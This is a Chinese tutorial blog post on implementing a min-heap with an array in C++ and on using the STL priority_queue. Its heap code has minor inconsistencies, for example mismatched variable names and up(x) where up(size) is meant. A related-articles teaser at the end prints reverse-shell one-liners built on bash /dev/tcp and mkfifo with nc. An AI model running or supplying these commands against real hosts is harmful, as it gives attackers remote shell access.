手写堆priority_queue优先队列

news/2024/5/20 9:54:38 标签: 算法, 数据结构, c++, , 优先队列

常见有两种实现方式:

        第一种是数组模拟

        第二种是用STL中priority_queue优先队列


各自优缺点:

        1. 由于优先队列无法删除和修改非队头元素,所以如果有以上需求需要手写

        2. 优先队列相对数组模拟速度要慢一些。

        3. 如果数据类型比较复杂,建议优先队列,如Dijkstra优化等。


手写(数组模拟):

        用数组heap模拟,下标 1 为根节点下标(此处不要用 0 为根节点,因为 0 的左儿子需要特判 0*2=0.....),size为尾部指针,同时为元素数量。

        1. up方法:将某元素向上调整到不能调整为止(递归)

        2. down操作,将某元素向下调整到不能调整为止(需要判断是否比左右儿子大,并且跟更小的那个儿子交换位置,然后继续递归) 

        3.对于删除某个元素,因为删除非尾部元素较难实现,但是尾部元素可以通过 size-1 的方式快速实现。

        所以用尾部元素替代所要删除的元素,然后删掉尾部元素,并且调整尾部元素的位置(此处为原尾部元素)

//数组模拟
//此处为小根,即二叉树从上到下递减,根节点最小 

int size;				//数组尾部指针,同时为数组中元素数量 
int heap[N] 			//heap数组模拟 
void up(int x){			//up操作,将某元素向上调整到不能调整为止 
	if(h[x]<h[x/2]) swap(h[x],h[x/2]),up(x/2);
}
void down(int x){		//down操作,将某元素向下调整到不能调整为止 
	int t=x;
	if(x*2<=s&&h[x*2]<h[t]) t=x*2;
	if(x*2+1<=s&&h[x*2+1]<h[t]) t=x*2+1;
	if(x!=t) swap(h[x],h[t]),down(t);
}

1. 插入元素 		heap[++size]=x,up(x)
2. 获取顶元素 	heap[1] 
3. 删除顶元素 	heap[1]=heap[size],size--,down(1)
4. 删除任意元素 	heap[k]=heap[size],size--,down(k),up(k)
5. 修改任意元素 	heap[k]=x,down(k),up(k) 

优先队列priority_queue

        1. 头文件<queue>

        2.定义一个priority_queue类型的变量。可以在定义时指定元素类型和底层容器类型,例如

priority_queue<int, vector<int>, greater<int>> q1;       // 从小到大排序(小根)
priority_queue<string, vector<string>, less<string>> q2; // 从大到小排序(大根)

priority_queue<string>q3        //大根可以省略容器和排序方式 q2=q3

        3. 函数操作

q.push(x) 		//插入元素
q.top()   		//返回队首元素
q.pop()	  		//弹出队首元素
q.empty() 		//非空返回false,已空返回true 
q.size() 		//返回元素数量 

priority_queue 也没有迭代器,因此访问元素的唯一方式是遍历容器,通过不断移除访问过的元素,去访问下一个元素。


http://www.niftyadmin.cn/n/282527.html

相关文章

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

SPSS如何使用基础功能?

文章目录 0.引言1.菜单栏2.工具栏 0.引言 因科研等多场景需要进行绘图处理&#xff0c;笔者对SPSS进行了学习&#xff0c;本文通过《SPSS统计分析从入门到精通》及其配套素材结合网上相关资料进行学习笔记总结&#xff0c;本文对软件界面基础功能进行阐述。    1.菜单栏 &am…

Nginx + LVS + KeepAlived实现高可用集群

文章目录 一、名词解释1、高可用集群2、LVS3、Keepalived 二、搭建流程1、安装Docker2、安装Nginx3、安装Keepalived4、编写nginx_check.sh脚本 一、名词解释 1、高可用集群 对于中小型互联网公司&#xff0c;产品所承受的请求量还是比较低的&#xff0c;所以一般使用单节点N…

【五一创作】AcWing——凑数(二级制中1的个数)

4941. 凑数 - AcWing题库 1、题目 初始时&#xff0c;n0。 每一轮操作都要依次完成两个步骤&#xff1a; 第一步&#xff0c;任选一个非负整数 a&#xff0c;将 n增加 a&#xff0c;这一步所需付出的代价为 a。第二步&#xff0c;将 n 乘以 2&#xff0c;这一步无需付出任何…

菜鸡shader:L1基于兰伯特原理的玉石材质

这里就简单说下原理吧&#xff0c;使用unity很久之前的一个插件shaderforge&#xff0c;最近几年好像在unity资源商店已经不再维护了&#xff0c;但是有shader forge的官网&#xff1a;在这&#xff0c;碰到节点不会的时候可以查一下官方文档&#xff0c;还是很方便的&#xff…

图的存储--邻接矩阵/边集数组/邻接表/链式邻接表/链式前向星

邻接矩阵 使用二维数组w[u][v]存储点u到点v的边的权值。一般应用在点数不多的稠密图 时间复杂度&#xff1a;O(n2) 空间复杂度&#xff1a;O(n2) int w[N][N]; // edge int vis[N]; // visitedvoid dfs(int u){vis[u] true;for(int v 1; v < n; v)if(w[u][v]){prin…

Java 基础进阶篇(六)—— 面向对象三大特征之三:多态

文章目录 一、多态的概述二、多态中成员访问特点 ★三、多态的优势与劣势四、多态下的类型转换4.2 自动类型转换&#xff08;从子到父&#xff09;4.2 强制类型转换&#xff08;从父到子&#xff09;4.3 instanceof 关键字 一、多态的概述 多态&#xff1a;是指执行同一个行为…